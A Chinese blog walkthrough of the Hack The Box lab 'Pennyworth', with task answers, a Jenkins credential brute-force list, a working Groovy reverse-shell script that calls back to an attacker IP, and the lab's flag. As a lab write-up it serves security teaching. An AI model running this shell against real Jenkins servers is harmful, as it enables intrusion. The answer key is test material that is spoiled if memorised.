[StartingPoint][Tier1]Pennyworth

2024-04-08 01:36

本文主要是介绍[StartingPoint][Tier1]Pennyworth,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

Important

Jenkins是一个用于自动化构建、测试和部署软件项目的开源持续集成和持续部署(CI/CD)工具。它允许开发团队自动执行和监控在软件开发过程中的重复性任务,例如构建代码、运行测试、部署应用程序等。Jenkins提供了一个易于使用的Web界面,可以配置各种任务和工作流,并通过插件系统扩展其功能,以满足不同团队和项目的需求。Jenkins的灵活性和可扩展性使其成为许多开发团队的首选工具,用于构建和交付高质量的软件。

Task 1

What does the acronym CVE stand for?

(CVE的全称?)

Common Vulnerabilities and Exposures

Task 2

What do the three letters in CIA, referring to the CIA triad in cybersecurity, stand for?

(在网络安全中CIA分别代表什么意思?)

Confidentiality, Integrity, Availability

Task 3

What is the version of the service running on port 8080?

(8080端口上运行的服务版本是多少?)

# nmap -sC -sV 10.129.141.102 -p 8080

image.png

Jetty 9.4.39.v20210325

Task 4

What version of Jenkins is running on the target?

(服务端运行的Jenkins是哪个版本?)

$ curl "http://10.129.141.102:8080/error" | grep "version"

image.png

或则访问页面

image.png

2.289.1

Task 5

What type of script is accepted as input on the Jenkins Script Console?

(在Jenkins脚本控制台,输入的是什么类型的脚本?)

Burp 爆破

-username-
admin
root
test
guest
-password-
admin123
root
password
qwerty123

image.png

image.png

Groovy

Task 6

What would the “String cmd” variable from the Groovy Script snippet be equal to if the Target VM was running Windows?

(如果目标虚拟机正在运行 Windows,那么 Groovy 脚本片段中的 ‘String cmd’ 变量将等于什么?)

cmd.exe

Task 7

What is a different command than “ip a” we could use to display our network interfaces’ information on Linux?

(除了 ‘ip a’ 命令外,我们还可以使用哪个命令在 Linux 上显示网络接口的信息?)

ifconfig

Task 8

What switch should we use with netcat for it to use UDP transport mode?

(netcat用什么选项可以用udp传输)

-u

Task 9

What is the term used to describe making a target host initiate a connection back to the attacker host?

(受害者反向连接攻击者主机,那么这个是什么专业术语)

reverse shell

Flag

nc监听10032端口

$ nc -lvnp 10032

image.png

反向shell脚本

String host="{your_IP}";
int port=10032;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed())
{while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());
while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try
{p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

到Dashboard->Manage Jenkins->Script Console

image.png

image.png

9cdfb439c7876e703e307864c9167a15

这篇关于[StartingPoint][Tier1]Pennyworth的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/884224

相关文章

[StartingPoint][Tier2]Included

LXD https://www.hackingarticles.in/lxd-privilege-escalation/ Task 1 What service is running on the target machine over UDP? (目标机器上通过UDP运行的服务是什么?) $ nmap -sU 10.129.232.86 -p 69 tftp Task 2

[StartingPoint][Tier2]Unified

Task 1 Which are the first four open ports? (开启了哪4个端口?) $ namp -sC -sV -v 10.129.104.207 22,6789,8080,8443 Task 2 What is the title of the software that is running running on port 8443? (8

[StartingPoint][Tier2]Archetype

Task 1 Which TCP port is hosting a database server? (哪个端口开放了数据库服务) $ nmap 10.129.95.187 -sC --min-rate 1000 1433 Task 2 What is the name of the non-Administrative share available over SMB?

[StartingPoint][Tier1]Ignition

Task 1 Which service version is found to be running on port 80? (发现哪个服务版本在端口 80 上运行?) $ nmap -sV -Pn 10.129.1.27 -p 80 nginx 1.14.2 Task 2 What is the 3-digit HTTP status code returned when

[StartingPoint][Tier1]Sequel

Task 1 During our scan, which port do we find serving MySQL? (在扫描过程中,我们发现哪个端口为 MySQL 提供服务?) `` 3306 Task 2 What community-developed MySQL version is the target running? (目标正在运行哪个社区开发的 MySQL

[StartingPoint][Tier1]Crocodile

Task 1 What Nmap scanning switch employs the use of default scripts during a scan? (哪些 Nmap 扫描开关在扫描期间使用默认脚本?) -sC Task 2 What service version is found to be running on port 21? 发现端口 21 上运行的服务

[StartingPoint][Tier0]Mongod

Task 1 How many TCP ports are open on the machine? (机器上打开了多少个 TCP 端口?) Example: $ sudo nmap -sS -T4 10.129.222.112 -p 27017,22 2 Task 2 Which service is running on port 27017 of the remote

[StartingPoint][Tier0]Dancing

Task 1 What does the 3-letter acronym SMB stand for? (3个字母的首字母缩略词SMB代表什么?) Server Message Block Task 2 What port does SMB use to operate at? (SMB 使用什么端口进行操作?) 445 Task 3 What is the ser

[StartingPoint][Tier0]Explosion

Task 1 What does the 3-letter acronym RDP stand for? (3个字母的首字母缩略词RDP代表什么?) Remote Desktop Protocol Task 2 What is a 3-letter acronym that refers to interaction with the host through a command